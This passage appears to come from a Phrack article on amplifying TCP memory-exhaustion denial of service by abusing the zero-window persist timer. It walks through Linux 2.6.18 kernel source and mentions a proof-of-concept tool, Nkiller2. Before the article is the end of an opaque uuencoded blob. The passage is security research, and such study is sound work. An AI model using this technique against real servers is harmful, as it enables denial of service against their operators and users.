MK\A*3@]J,P!;*2,CRU%'C60P>9Y6JM=#:E>N'R9J/<BQ)-]AJ]5B_>4G?5/*
M&H\*3J''+-#)?-.(=0_$-WSE")%?B39&]1X-0L\!<4E?N<4H-R>1K0@=WYHZ
M=,*,AH-Z"IRSK845P'OHTPF\85MX\^AO^$6W(@5\<WPR)+LF*B!.K4%J_8"8
MR]C@?LH\MQ#S96)J/\46!M%"+QPO?D#$$^,Y$?L10LZ^`FVEBQ&]$O727U*G7
M#D+?.QA;SL$5FRYD_P;D5_-J&6.`X+=;`=;7AD:`3__$\B#_XYG-`=A@LR#L
M06*=OLPLF]9-$([/^\IT1/;1IG+!OE;.<$^J(9C\G:U;9]LA\V2?Z;#$1D[
MD6QW(N%*A<42*KBT=R)Q[W!Y[S"FQT1'G(2EPC$6RWB(-GH()K'/U:B"O
MY4;2ZO<<PK%']7G*YJ]9_BX-V_6!,\N\/C.R4*>W1+FG_T]7RB.Y_AOX_XK:
MU3+^?Z\\+_K_2EGO"___3^/^A8P'HH\0$PW\<GQ3=;DWMDX-=</3`(/GHI)/Q
M=0"?`I>,:;QZP_JP>_"HH<4CAPX$QP@>"ZXSK7"S?TF0N"H_O>@POP
M%YW,ZKZ[#+P8M^V=@5K;9.:;6_&]6KD_.T?W^H<T-`&Z?OI(0NS<@33]H4#XN!%N1HO$5FEA9_T-7ZUE[3DSIP6AXPRORX+1&Z#X
M7O0I+G2JHZ,]'$TC9&M=20]-FX1SKKT.87Y3TM@3?#:4B%
MMAOOA)ML%-"]!F1!R)>-E@)6YRAF*%"C*U(LZRM)SHH0*A!&N,H*T9%+7T@
M0&DTF*1Y,!!&S(M+2IO?UTQXH&0I7?3P>`9=5E8J$2J&M;$!\1H+A<Q@!%EHY@=AT=94L5A6+0QXHWF80
MIA*5G>8:P%X"6L;/2%:%TY@:N%?*,
MT@?[;+2I/R>\@R*+&BM<74&6$;7)`;T;:GZR>4J&TF4!6KSP+-;%[/<EK_B$P4
MK]#<+D$;.@#
MX!A4;VB3+1'*=K_V#;JE9KJC/MQR2L&U4.VO`&J'51E"H("#$*@:Y/G`-DS0
M;&[YRL]`@U&]A'+U-(Z"DV]C=C/;'!%U!1Z-P50:)0?+1#CY2S67+Z-1V=.RA'JSZ)
M*ZB<B8_X<^*J\;?SE5;'5U/
MU0(5\Q0[!S<1<`8Z0#'.7U!M/;1+![+1\/;T[6^R(CQU(+8\T8#3-/M!I&9FEB<U&%
M(2SQ<'!%@Z%/&Y3,`?5UF!M=\/3MH1'1_F&%!O>'"!'C#8W<]I?'1"X%&<6!P@5UWS,U7G6E8PWW60IS\1,KE
M,S[NN$Q0CS3H!O\VS7I>U/YMY7\!#NL/XR'!V&ID-R@!Q;B0@\'3`0XCF(:!S
M<2.*8A/LG=?93&3\BEE%34@1WDN%H$%C]+Y[+6I?-S2-:19R8HX84#K-41%'`D&L$Q#S
MOH#*$4R\+MP?0YN<H8R6&J20I+K8HA/"@G*,T;-2VZT:U;6JZ5Z!(NP4XTW
MFI9M@PH7N/K]DH/6$RW+YE%N&FKQ<Z0U!#,O2!UMA(M6W]=&0`8H=;,#>8KT:26HJ)IU0-C$=;1T[TMRV5C7E;\>D^68!
M0^^D1XBPC-A\U^JI[PB0B=6ML4M$HB"J@J'\*^@$<-Q\'M)0F*/%!O`0N7\UJ5[CZ3"C?V"4@D4$?/#`Z6\F/&5C>"J0K:8,&V-C!,KCUA!-0/9KXJ:B)\N`M4S2G)6LD;U%NR@ZCI%RDW1B-6"4%%M$,,.5N:-X9$0%(=NG"-()UKW#G8*;F<!J8)R-B^-V0%$V7>VCR-%C2$JD/RJ%4<(.LMB>/+MI/&$2AEC7D$F%!C(6%Q*BWUW37'4Z*6)E[B2]E.!6+'AT]&]&]C:\=SKN]XCCH+$%DO$EB2VI;1:D@&V7YJ3<JJ<&FAMGLU<90
M3UNRLSLFQ/QS(&<$DWFB6LVS@N&RV3)A4ZV8O7%I7#G&,$Q=6ZN@.R?AN/Z=RK,U
M&I9$F+[@JOQA_]*MF7CO`Q3HE"UJ,.:9#1[VTK3\9M*7M<KZGUD<RMK;E1X$-K8KD6/$
M&:;6GG1FE-$U(70MU-0?4C$KO]Y,3N\2.;PL,!=@L'K1KPEQUA2!^$UJKA"E]4@1BB"F7RK=OCZM
M1?9`U7VO5O!!"EK;-"`FCR,T5S/KR2+V*IVV<Z=JM+0NQ1!1B^;KZNXE^T5B+=#?.O<V>T(G>5"*W77K?IX@;#/AYUFKO9BV8(ON:>4A/&G>RE^Y\]D5MB<-`H\!`OJ9=/ZNK
MHUT;5'7M\6,_XOZ#N/\@[C^(^P_B_H.X_R#N/XC[#^+^@[C_(.X_B/L/XO[#
M[?<?;K'`J@I^`G,1PGA?@?@S:K/=A4W\`7%_XKN[/P%!E[&\KD.[9F:K*/&4
MTT>-QD#<N!`W+L2-"W'C0OR"U+?._\WTT`^^T?E_I=?K9G[_%?/_JMH3^;\_
M3_[O@7)]V3Q:57*NZEA^V>^\1N?^XZWSA\B0W2<!P,YMP\)R[Y]790MPNJ@@
M)K32ZMJ:$KDBH0_A[2$!(_V"^1U_)\]>,L/,Z)*SQ\+3)3N[L^OQG]C4`]>J
MLS9*W"9Q0:+-T5A$Z=[H^M;H1MO\C[++7]SD;Z5GV1]JGS\^Y%RQTY]X9I&7
M!<X9^_0BT@/VK=PS*^8&<G51=UP7JWRV6W[_L\)KB^Q_ZI2W_&]@_V5%2<Y_
MJFWV^]\]1=C_)RFMJ>V.=9N@.?("B;\=2A)+E$+)IN[C\@SS0,0(/7Y1*8$M
MYNQ36+PI!FXT.V+%HZ*RUH74?=(Z-+SXV#EV)+&,/=*6)NTSM,'7(YGU^D,Q
M1\\!EGI@S$AH3?)`_1P0ID<\A'E&\%"8Z]$X^X!',G"_(DYK!&#M<-^,]U:2
MO(;>3,N#N/`+A?6"&G,6$K(='M:.I>FAI)EZB>7AHU2\Q!+MA.7:)99)3UA6
MEBKGI`,&GBG#!A:>&6&H,$L>CSK-@4M@$L317E%$$44440111111!%%%%%$
4$444401192_5ODO@VB(&0!X````
`
end
```

--------[EOF

==Phrack Inc.==

Volume 0x0d, Issue 0x42, Phile #0x09 of 0x11

```
|=-----------------------------------------------------------------------=|
|=---------=[ Exploiting TCP and the Persist Timer Infiniteness ]=---------=|
|=-----------------------------------------------------------------------=|
|=---------------=[    By ithilgore                     ]=---------------=|
|=---------------=[       sock-raw.org                  ]=---------------=|
|=---------------=[                                     ]=---------------=|
|=---------------=[    ithilgore.ryu.L@gmail.com        ]=---------------=|
|=-----------------------------------------------------------------------=|
```

---[Contents

--[1 - Introduction

TCP is the main protocol upon which most end-to-end communications take place, nowadays. Being introduced a lot of years ago, where security wasn't as much a concern, has left it with quite a few hanging vulnerabilities. It is not strange that many TCP implementations have deviated from the official RFCs, to provide additional protective measures and robustness. However, there are still attack vectors which can be exploited. One of them is the Persist Timer, which is triggered when the receiver advertises a TCP window of size 0. In the following text, we are going to analyse, how an old technique of kernel memory exhaustion [1] can be amplified, extended and adjusted to other forms of attacks, by exploiting the persist timer functionality. Our analysis is mainly going to focus on the Linux (2.6.18) network stack implementation, but test cases for *BSD will be included as well. The possibility of exploiting the TCP Persist Timer, was first mentioned at [2].
A proof-of-concept tool that was developed for the sole purpose of demonstrating the above attack will be presented. Nkiller2 is able to perform a generic DoS attack, completely statelessly and with almost no memory overhead, using packet-parsing techniques and virtual states. In addition, the amount of traffic created is far less than that of similar tools, due to the attack's nature. The main advantage, that makes all the difference, is the possibly unlimited prolonging of the DoS attack's impact by the exploitation of a perfectly 'expected & normal' TCP Persist Timer behaviour.

--[2 - TCP Persist Timer theory

TCP is based on many timers. One of them is the Persist Timer, which is used when the peer advertises a window of size 0. Normally, the receiver advertises a zero window, when TCP hasn’t pushed the buffered data to the user application and thus the kernel buffers reach their initial advertised limit. This forces the TCP sender to stop writing data to the network, until the receiver advertises a window which has a value greater than zero. To accomplish that, the receiver sends an ACK called a window update, which has the same acknowledgment number as the one that advertised the 0 window (since no new data is effectively acknowledged).

The Persist Timer is triggered when TCP gets a 0 window advertisement for the following reason: Suppose the receiver eventually pushes the data from the kernel buffers to the user application, and thus opens the window (the right edge is advanced). He then sends a window update to the sender announcing that it can now receive new data. If this window update is lost for any reason, then both ends of the connection would deadlock, since the receiver would wait for new data and the sender would wait for the now lost window update. To avoid the above situation, the sender sets the Perist Timer and if no window update has reached him until it expires, then he resends a probe to the peer. As long as the receiver keeps advertising a window of size 0, then the sender follows the process again. He sets the timer, waits for the window update and resends the probe. As long as some of the probes are acknowledged, without necessarily having to announce a new window, the process will go on ad infinitum. Examples can be found at [3].

Of course, the actual implementation is always more complicated than theory. We are going to inspect the Linux implementation of the TCP Persist Timer, watch the intricacies unfold and eventually get a fairly good perspective on what happens behind the scenes.

-- [3 - TCP Persist Timer implementation

The following code inspection will mainly focus on the implementation of the TCP Persist Timer on Linux 2.6.18. Many of the TCP kernel functions will be regarded as black-boxes, as their analysis is beyond the scope of this paper and would probably require a book by itself.

----[3.1 - TCP Timer Initialization

Let’s see when and how the main TCP timers are initialized. During the socket creation process tcp_v4_init_sock() will call tcp_init_xmit_timers() which in turn calls inet_csk_init_xmit_timers().

```
net/ipv4/tcp_ipv4.c:
/-----------------------------------------------------------------------\

/* NOTE: A lot of things set to zero explicitly by call to
 *       sk_alloc() so need not be done here.
 */
static int tcp_v4_init_sock(struct sock *sk)
{
    struct inet_connection_sock *icsk = inet_csk(sk);
    struct tcp_sock *tp = tcp_sk(sk);

    skb_queue_head_init(&tp->out_of_order_queue);
    tcp_init_xmit_timers(sk);
    /* ... */

}

\-----------------------------------------------------------------------/


net/ipv4/tcp_timer.c:
```

```
/----------------------------------------------------------------------\

void tcp_init_xmit_timers(struct sock *sk)
{
    inet_csk_init_xmit_timers(sk, &tcp_write_timer, &tcp_delack_timer,
                  &tcp_keepalive_timer);
}

\----------------------------------------------------------------------/
```

As we can see, inet_csk_init_xmit_timers() is the function which actually does the work of setting up the timers. Essentially what it does, is to assign a handler function to each of the three main timers, as instructed by its arguments. setup_timer() is a simple inline function defined at "include/linux/timer.h".

net/ipv4/inet_connection_sock.c:

```
/----------------------------------------------------------------------\

/*
 * Using different timers for retransmit, delayed acks and probes
 * We may wish use just one timer maintaining a list of expire jiffies
 * to optimize.
 */
void inet_csk_init_xmit_timers(struct sock *sk,
                   void (*retransmit_handler)(unsigned long),
                   void (*delack_handler)(unsigned long),
                   void (*keepalive_handler)(unsigned long))
{
    struct inet_connection_sock *icsk = inet_csk(sk);

    setup_timer(&icsk->icsk_retransmit_timer, retransmit_handler,
            (unsigned long)sk);
    setup_timer(&icsk->icsk_delack_timer, delack_handler,
            (unsigned long)sk);
    setup_timer(&sk->sk_timer, keepalive_handler, (unsigned long)sk);
    icsk->icsk_pending = icsk->icsk_ack.pending = 0;
}

\----------------------------------------------------------------------/
```

include/linux/timer.h:

```
/----------------------------------------------------------------------\

static inline void setup_timer(struct timer_list * timer,
                void (*function)(unsigned long),
                unsigned long data)
{
    timer->function = function;
    timer->data = data;
    init_timer(timer);
}

\----------------------------------------------------------------------/
```

According to the above, the timers will be initialized with the following handlers:

retransmission timer -> tcp_write_timer()
delayed acknowledgments timer -> tcp_delack_timer()
keepalive timer -> tcp_keepalive_timer()

What interests us, is the tcp_write_timer(), since as we can see from the following code, *both* the retransmission timer *and* the persist timer are initially handled by the same function before triggering the more specific ones. And there is a reason that Linux ties the two timers.

net/ipv4/tcp_timer.c:

```
/---------------------------------------------------------------------\

static void tcp_write_timer(unsigned long data)
{
    struct sock *sk = (struct sock*)data;
    struct inet_connection_sock *icsk = inet_csk(sk);
    int event;

    bh_lock_sock(sk);
    if (sock_owned_by_user(sk)) {
        /* Try again later */
        sk_reset_timer(sk, &icsk->icsk_retransmit_timer,
            jiffies + (HZ / 20));
        goto out_unlock;
    }

    if (sk->sk_state == TCP_CLOSE || !icsk->icsk_pending)
        goto out;

    if (time_after(icsk->icsk_timeout, jiffies)) {
        sk_reset_timer(sk, &icsk->icsk_retransmit_timer,
            icsk->icsk_timeout);
        goto out;
    }

    event = icsk->icsk_pending;
    icsk->icsk_pending = 0;

    switch (event) {
    case ICSK_TIME_RETRANS:
        tcp_retransmit_timer(sk);
        break;
    case ICSK_TIME_PROBE0:
        tcp_probe_timer(sk);
        break;
    }
    TCP_CHECK_TIMER(sk);

out:
    sk_mem_reclaim(sk);
out_unlock:
    bh_unlock_sock(sk);
    sock_put(sk);
}

\---------------------------------------------------------------------/
```

Depending on the value of ’icsk->icsk_pending’, then either the retransmission_timer real handler -tcp_retransmit_timer()- or the persist_timer real handler -tcp_probe_timer()- is called. ICSK_TIME_RETRANS and ICSK_TIME_PROBE0 are literals defined at "include/net/inet_connection_sock.h" and icsk_pending is an 8bit member of a type inet_sock struct which is defined in the same file.

include/net/inet_connection_sock.h:

```
/---------------------------------------------------------------------\

/** inet_connection_sock - INET connection oriented sock
 *
 * @icsk_pending:      Scheduled timer event
 * ...
 *
 */

struct inet_connection_sock {
    /* inet_sock has to be the first member! */
    struct inet_sock      icsk_inet;
    /* ... */
    __u8              icsk_pending;

    /* ...*/
}

/* ... */

#define ICSK_TIME_RETRANS   1   /* Retransmit timer */
#define ICSK_TIME_DACK      2   /* Delayed ack timer */
#define ICSK_TIME_PROBE0    3   /* Zero window probe timer */
#define ICSK_TIME_KEEPOPEN  4   /* Keepalive timer */

\-----------------------------------------------------------------------/
```

Leaving the initialization process behind, we need to see how we can trigger the TCP persist timer.

----[3.2 - Persist Timer Triggering

Looking through the kernel code for functions that trigger/reset the timers, we fall upon inet_csk_reset_xmit_timer() which is defined at "include/net/inet_connection_sock.h"

```
include/net/inet_connection_sock.h:
/----------------------------------------------------------------------\

/*
 *  Reset the retransmission timer
 */
static inline void inet_csk_reset_xmit_timer(struct sock *sk,
                         const int what,
                         unsigned long when,
                         const unsigned long max_when)
{
    struct inet_connection_sock *icsk = inet_csk(sk);

    if (when > max_when) {
#ifdef INET_CSK_DEBUG
        pr_debug("reset_xmit_timer: sk=%p %d when=0x%lx,
            caller=%p\n", sk, what, when,
            current_text_addr());
#endif
        when = max_when;
    }

    if (what == ICSK_TIME_RETRANS || what == ICSK_TIME_PROBE0) {
        icsk->icsk_pending = what;
        icsk->icsk_timeout = jiffies + when;
        sk_reset_timer(sk, &icsk->icsk_retransmit_timer,
                icsk->icsk_timeout);
    } else if (what == ICSK_TIME_DACK) {
        icsk->icsk_ack.pending |= ICSK_ACK_TIMER;
        icsk->icsk_ack.timeout = jiffies + when;
        sk_reset_timer(sk, &icsk->icsk_delack_timer,
                icsk->icsk_ack.timeout);
    }
#ifdef INET_CSK_DEBUG
    else {
        pr_debug("%s", inet_csk_timer_bug_msg);
    }
#endif
}

\-----------------------------------------------------------------------/
```

An assignment to 'icsk->icsk_pending' is made according to the argument 'what'. Note the ambiguity of the comment mentioning that the retransmission timer is reset. Essentially, however, either the persist timer or the retransmission can be reset through this function. In addition, the delayed acknowledgement timer, which won't interest us, can be reset through the ICSK_TIME_DACK value. So, whenever inet_csk_reset_xmit_timer() is called, it sets the corresponding timer, as instructed by argument 'what', to fire up after time 'when' (which must be less or equal than 'max_when') has passed. jiffies is a global variable which shows the current system uptime in terms of clock ticks
A good reference, on how timers in general are managed, is [4].
A caller function which sets the argument 'what' as ICSK_TIME_PROBE0 is tcp_check_probe_timer().

include/net/tcp.h:

```
/----------------------------------------------------------------------\

static inline void tcp_check_probe_timer(struct sock *sk,
                        struct tcp_sock *tp)
{
    const struct inet_connection_sock *icsk = inet_csk(sk);
    if (!tp->packets_out && !icsk->icsk_pending)
        inet_csk_reset_xmit_timer(sk, ICSK_TIME_PROBE0,
                      icsk->icsk_rto, TCP_RTO_MAX);
}

\-----------------------------------------------------------------------/
```

We face two problems before the persist timer can be triggered. First we need to pass the check of the if condition in tcp_check_probe_timer():

```
    if (!tp->packets_out && !icsk->icsk_pending)
```

tp->packets_out denotes if any packets are in flight and have not yet been acknowledged. This means that the advertisement of a 0 window must happen after any data we have received has been acknowledged by us (as the receiver) and before the sender starts transmitting any new data.
The fact that icsk->icsk_pending should be, 0 denotes that any other timer has to already have been cleared. This can happen through the function inet_csk_clear_xmit_timer() which in our case can be called by tcp_ack_packets_out() which is called by tcp_clean_rtx_queue() which is called by tcp_ack() which is the main function that deals with incoming acks. tcp_ack() is called by tcp_rcv_established(), in turn called by tcp_v4_do_rcv(). The only limitation again for tcp_ack_packets_out() to call the timer clearing function, is that 'tp->packets_out' should be 0.

net/include/inet_connection_sock.h

```
/----------------------------------------------------------------------\

static inline void inet_csk_clear_xmit_timer(struct sock *sk,
                        const int what)
{
    struct inet_connection_sock *icsk = inet_csk(sk);

    if (what == ICSK_TIME_RETRANS || what == ICSK_TIME_PROBE0) {
        icsk->icsk_pending = 0;
#ifdef INET_CSK_CLEAR_TIMERS
```

```
        sk_stop_timer(sk, &icsk->icsk_retransmit_timer);
#endif
    /* ... */
}

\----------------------------------------------------------------------/


net/ipv4/tcp_input.c
/---------------------------------------------------------------------\

static void tcp_ack_packets_out(struct sock *sk, struct tcp_sock *tp)
{
    if (!tp->packets_out) {
        inet_csk_clear_xmit_timer(sk, ICSK_TIME_RETRANS);
    } else {
        inet_csk_reset_xmit_timer(sk, ICSK_TIME_RETRANS,
            inet_csk(sk)->icsk_rto, TCP_RTO_MAX);
    }
}

/* ... */

/* Remove acknowledged frames from the retransmission queue. */
static int tcp_clean_rtx_queue(struct sock *sk, __s32 *seq_rtt_p)
{

/* ... */
    if (acked&FLAG_ACKED) {
        tcp_ack_update_rtt(sk, acked, seq_rtt);
        tcp_ack_packets_out(sk, tp);
        /* ... */
    }
/* ... */

}

/* ... */

/* This routine deals with incoming acks, but not outgoing ones. */
static int tcp_ack(struct sock *sk, struct sk_buff *skb, int flag)
{

/* ... */

    /* See if we can take anything off of the retransmit queue. */
    flag |= tcp_clean_rtx_queue(sk, &seq_rtt);
/* ... */

}

\----------------------------------------------------------------------/
```

The only caller for tcp_check_probe_timer() is __tcp_push_pending_frames() which has tcp_push_pending_frames as its wrapper function. tcp_push_sending_frames() is called by tcp_data_snd_check() which is called by tcp_rcv_established() which as we saw above calls tcp_ack() as well.

```
include/net/tcp.h:
/---------------------------------------------------------------------\

void __tcp_push_pending_frames(struct sock *sk, struct tcp_sock *tp,
                   unsigned int cur_mss, int nonagle)
{
    struct sk_buff *skb = sk->sk_send_head;
    if (skb) {
        if (tcp_write_xmit(sk, cur_mss, nonagle))
            tcp_check_probe_timer(sk, tp);
    }
}

/* ... */

static inline void tcp_push_pending_frames(struct sock *sk,
                       struct tcp_sock *tp)
{
    __tcp_push_pending_frames(sk, tp, tcp_current_mss(sk, 1),
                    tp->nonagle);
}

\-------------------------------------------------------------------------/
```

Another problem here is that we have to make tcp_write_xmit() return a value different than 0. According to the comments and the last line of the function, the only way to return 1 is by having no packets unacknowledged (which are in flight) and additionally by having more packets that need to be sent on queue. This means that the data we requested needs to be larger than the initial mss, so that at least 2 packets are needed to be sent. The first will be acknowledged by us advertising a zero window at the same time, and after that, there will still be at least 1 packet left in the sender queue. There is also the chance, that we advertise a zero window before the sender even starts sending any data, just after the connection establishment phase, but we will see later that this is not a really good practice.

```
net/ipv4/tcp_output.c:
/------------------------------------------------------------------------\

/* This routine writes packets to the network.  It advances the
 * send_head.  This happens as incoming acks open up the remote
 * window for us.
 *
 * Returns 1, if no segments are in flight and we have queued segments,
 * but cannot send anything now because of SWS or another problem.
 */
static int tcp_write_xmit(struct sock *sk, unsigned int mss_now,
                int nonagle)
{
    struct tcp_sock *tp = tcp_sk(sk);
    struct sk_buff *skb;
    unsigned int tso_segs, sent_pkts;
    int cwnd_quota;
    int result;

    /* If we are closed, the bytes will have to remain here.
     * In time closedown will finish, we empty the write queue and
     * all will be happy.
     */
    if (unlikely(sk->sk_state == TCP_CLOSE))
        return 0;

    sent_pkts = 0;

    /* Do MTU probing. */
    if ((result = tcp_mtu_probe(sk)) == 0) {
        return 0;
    } else if (result > 0) {
        sent_pkts = 1;
    }
    while ((skb = sk->sk_send_head)) {
        unsigned int limit;

        tso_segs = tcp_init_tso_segs(sk, skb, mss_now);
        BUG_ON(!tso_segs);

        cwnd_quota = tcp_cwnd_test(tp, skb);
        if (!cwnd_quota)
            break;

        if (unlikely(!tcp_snd_wnd_test(tp, skb, mss_now)))
            break;

        if (tso_segs == 1) {
            if (unlikely(!tcp_nagle_test(tp, skb, mss_now,
                 (tcp_skb_is_last(sk, skb) ?
                 nonagle : TCP_NAGLE_PUSH))))
                break;
        } else {
            if (tcp_tso_should_defer(sk, tp, skb))
                break;
        }

        limit = mss_now;
        if (tso_segs > 1) {
            limit = tcp_window_allows(tp, skb,
                          mss_now, cwnd_quota);

            if (skb->len < limit) {
                unsigned int trim = skb->len % mss_now;

                if (trim)
                    limit = skb->len - trim;
            }
        }

        if (skb->len > limit &&
            unlikely(tso_fragment(sk, skb, limit, mss_now)))
            break;

        TCP_SKB_CB(skb)->when = tcp_time_stamp;

        if (unlikely(tcp_transmit_skb(sk, skb, 1, GFP_ATOMIC)))
            break;

        /* Advance the send_head.  This one is sent out.
         * This call will increment packets_out.
         */
        update_send_head(sk, tp, skb);

        tcp_minshall_update(tp, mss_now, skb);
        sent_pkts++;
    }

    if (likely(sent_pkts)) {
        tcp_cwnd_validate(sk, tp);
        return 0;
    }
    return !tp->packets_out && sk->sk_send_head;
}

\----------------------------------------------------------------------/
```

Looking through tcp_write_xmit(), we can deduce that the only way to make it return a value different than 0, is by reaching the last line and at the same meeting the above two requirements. Consequently, we need to break from the while loop before 'sent_pkts' is increased so that the if condition which calls tcp_cwnd_validate() and then causes the function to return 0, fails the check. The key is these two lines:

```
        if (unlikely(!tcp_snd_wnd_test(tp, skb, mss_now)))
            break;
```

tcp_snd_wnd_test() is defined as follows:

```
net/ipv4/tcp_output.c
/---------------------------------------------------------------------\

/* Does at least the first segment of SKB fit into the send window? */
static inline int tcp_snd_wnd_test(struct tcp_sock *tp,
    struct sk_buff *skb, unsigned int cur_mss)
{
    u32 end_seq = TCP_SKB_CB(skb)->end_seq;

    if (skb->len > cur_mss)
        end_seq = TCP_SKB_CB(skb)->seq + cur_mss;

    return !after(end_seq, tp->snd_una + tp->snd_wnd);
}

\---------------------------------------------------------------------/
```

To clarify a few things, here is an excerpt from tcp.h which defines the macro ’after’ and the members of struct tcp_skb_cb which are used inside tcp_snd_wnd_test().

```
include/net/tcp.h:
/---------------------------------------------------------------------\

/*
 * The next routines deal with comparing 32 bit unsigned ints
 * and worry about wraparound (automatic with unsigned arithmetic).
 */

static inline int before(__u32 seq1, __u32 seq2)
{
        return (__s32)(seq1-seq2) < 0;
}
#define after(seq2, seq1)   before(seq1, seq2)

/* ... */

struct tcp_skb_cb {
    union {
        struct inet_skb_parm    h4;
#if defined(CONFIG_IPV6) || defined (CONFIG_IPV6_MODULE)
        struct inet6_skb_parm   h6;
#endif
    } header;   /* For incoming frames      */
    __u32       seq;        /* Starting sequence number */
    __u32       end_seq;    /* SEQ + FIN + SYN + datalen    */

    /* ... */

    __u32       ack_seq;    /* Sequence number ACK’d    */
};

#define TCP_SKB_CB(__skb)   ((struct tcp_skb_cb *)&((__skb)->cb[0]))

\---------------------------------------------------------------------/
```

So, in theory we need the sequence number which is derived from the sum of the current sequence number + the datalength, to be more than the sum of the number of unacknowledged data + the send window. A diagram from RFC 793 helps clear out some things:

```
                   1         2          3          4
              ----------|----------|----------|----------
                     SND.UNA    SND.NXT    SND.UNA
                                          +SND.WND

        1 - old sequence numbers which have been acknowledged
        2 - sequence numbers of unacknowledged data
        3 - sequence numbers allowed for new data transmission
        4 - future sequence numbers which are not yet allowed
```

In practice, the fact the we, as receivers, just advertised a window of size 0, makes the snd_wnd 0, which in turn leads the above check in succeeding. Things just work by themselves here.

For completeness, we mention that the window is updated by calling the function tcp_ack_update_window() (caller is tcp_ack()) which in turns updates the tp->snd_wnd variable if the window update is a valid one, something which is checked by tcp_may_update_window().

```
net/ipv4/tcp_input.c
/----------------------------------------------------------------------\

/* Check that window update is acceptable.
 * The function assumes that snd_una<=ack<=snd_next.
 */
static inline int tcp_may_update_window(const struct tcp_sock *tp,
    const u32 ack, const u32 ack_seq, const u32 nwin)
{
    return (after(ack, tp->snd_una) ||
        after(ack_seq, tp->snd_wl1) ||
        (ack_seq == tp->snd_wl1 && nwin > tp->snd_wnd));
}

/* ... */

/* Update our send window.
 *
 * Window update algorithm, described in RFC793/RFC1122 (used in
 * linux-2.2 and in FreeBSD. NetBSD's one is even worse.) is wrong.
 */
static int tcp_ack_update_window(struct sock *sk, struct tcp_sock *tp,
                 struct sk_buff *skb, u32 ack,
                 u32 ack_seq)
{
    int flag = 0;
    u32 nwin = ntohs(skb->h.th->window);

    if (likely(!skb->h.th->syn))
        nwin <<= tp->rx_opt.snd_wscale;

    if (tcp_may_update_window(tp, ack, ack_seq, nwin)) {
        flag |= FLAG_WIN_UPDATE;
        tcp_update_wl(tp, ack, ack_seq);

        if (tp->snd_wnd != nwin) {
            tp->snd_wnd = nwin;
            /* ... */
        }
    }

    tp->snd_una = ack;

    return flag;
}

\-----------------------------------------------------------------------/
```

Let’s now summarize the above with a graphical representation.

```
attacker <-------- data --------- sender
attacker ---- ACK(data), win0 --> sender
```

What happens on the sender side:

```
tcp_v4_do_rcv()
   |
   |--> tcp_rcv_established()
          |
          |--> tcp_ack()
          |       |
          |       |--> tcp_ack_update_window()
          |       |       |
          |       |       |--> tcp_may_update_window()
          |       |
          |       |--> tcp_clean_rtx_queue()
          |               |
          |               |--> tcp_ack_packets_out()
          |                       |
          |                       |--> inet_csk_clear_xmit_timer()
          |
          |--> tcp_data_snd_check()
                  |
                  |--> tcp_push_sending_frames()
                          |
                          |--> __tcp_push_sending_frames()
                                  |
                                  |--> tcp_write_xmit()
                                  |       |
                                  |       |--> tcp_snd_wnd_test()
                                  |
                                  |--> tcp_check_probe_timer()
                                          |
                                          |--> inet_csk_reset_xmit_timer()
```

Time to move on to the more specific internals of the TCP Persist Timer itself.

----[3.3 - Inner workings of Persist Timer

tcp_probe_timer() is the actual handler for the TCP persist timer so we are going to focus on this one for a while.

```
net/ipv4/tcp_timer.c
/-----------------------------------------------------------------------\

static void tcp_probe_timer(struct sock *sk)
{
    struct inet_connection_sock *icsk = inet_csk(sk);
    struct tcp_sock *tp = tcp_sk(sk);
    int max_probes;

    if (tp->packets_out || !sk->sk_send_head) {
        icsk->icsk_probes_out = 0;
        return;
    }
    /* *WARNING* RFC 1122 forbids this
     *
     * It doesn't AFAIK, because we kill the retransmit timer -AK
     *
     * FIXME: We ought not to do it, Solaris 2.5 actually has fixing
     * this behaviour in Solaris down as a bug fix. [AC]
     *
     * Let me to explain. icsk_probes_out is zeroed by incoming ACKs
     * even if they advertise zero window. Hence, connection is killed
     * only if we received no ACKs for normal connection timeout. It is
     * not killed only because window stays zero for some time, window
     * may be zero until armageddon and even later. We are in full
     * accordance with RFCs, only probe timer combines both
     * retransmission timeout and probe timeout in one bottle.  --ANK
     */
    max_probes = sysctl_tcp_retries2;

    if (sock_flag(sk, SOCK_DEAD)) {
        const int alive = ((icsk->icsk_rto << icsk->icsk_backoff)
            < TCP_RTO_MAX);

        max_probes = tcp_orphan_retries(sk, alive);

        if (tcp_out_of_resources(sk, alive || icsk->icsk_probes_out
            <= max_probes))
            return;
    }

    if (icsk->icsk_probes_out > max_probes) {
        tcp_write_err(sk);
    } else {
        /* Only send another probe if we didn't close things up. */
        tcp_send_probe0(sk);
    }
}

\----------------------------------------------------------------------/
```

Commenting on the comments, we stand before a kernel developer disagreement on whether or not the implementation deviates from RFC 1122 (Requirements for Internet Hosts - Communication Layers). The most outstanding point, however, is this remark:

> "It is not killed only because window stays zero for some time,
> window may be zero until armageddon and even later."

Indeed, this is part of what we are going to exploit. We shall take advantage of a perfectly 'normal' TCP behaviour, for our own purpose. Let's see how this works: 'max_probes' is assigned the value of 'sysctl_tcp_retries2' which is actually a userspace-controlled variable from /proc/sys/net/ipv4/tcp_retries2 and which usually defaults to 15.

There are two cases from now on.
First case: SOCK_DEAD -> The socket is "dead" or "orphan" which usually happens when the state of the connection is FIN_WAIT_1 or any other terminating state from the TCP state transition diagram (RFC 793).
In this case, 'max_probes' gets the value from tcp_orphan_retries() which is defined as follows:

net/ipv4/tcp_timer.c:

```
/----------------------------------------------------------------------\

/* Calculate maximal number or retries on an orphaned socket. */
static int tcp_orphan_retries(struct sock *sk, int alive)
{
    int retries = sysctl_tcp_orphan_retries; /* May be zero. */
    /* We know from an ICMP that something is wrong. */
    if (sk->sk_err_soft && !alive)
        retries = 0;

    /* However, if socket sent something recently, select some safe
     * number of retries. 8 corresponds to >100 seconds with minimal
     * RTO of 200msec. */
    if (retries == 0 && alive)
        retries = 8;
    return retries;

\----------------------------------------------------------------------/
```

The 'alive' variable is calculated from this line:

```
        const int alive = ((icsk->icsk_rto << icsk->icsk_backoff)
            < TCP_RTO_MAX);
```

TCP_RTO_MAX is the maximum value the retransmission timeout can get
and is defined at:

include/net/tcp.h:

```
/----------------------------------------------------------------------\

#define TCP_RTO_MAX ((unsigned)(120*HZ))

\----------------------------------------------------------------------/
```

HZ is the tick rate frequency of the system, which means a period of 1/HZ seconds is assumed. Regardless of the value of HZ (which is varies from one architecture to another), anything that is multiplied by it, is transformed to a product of seconds [4]. For example, 120*HZ is translated to 120 seconds since we are going to have HZ timer interrupts per second.

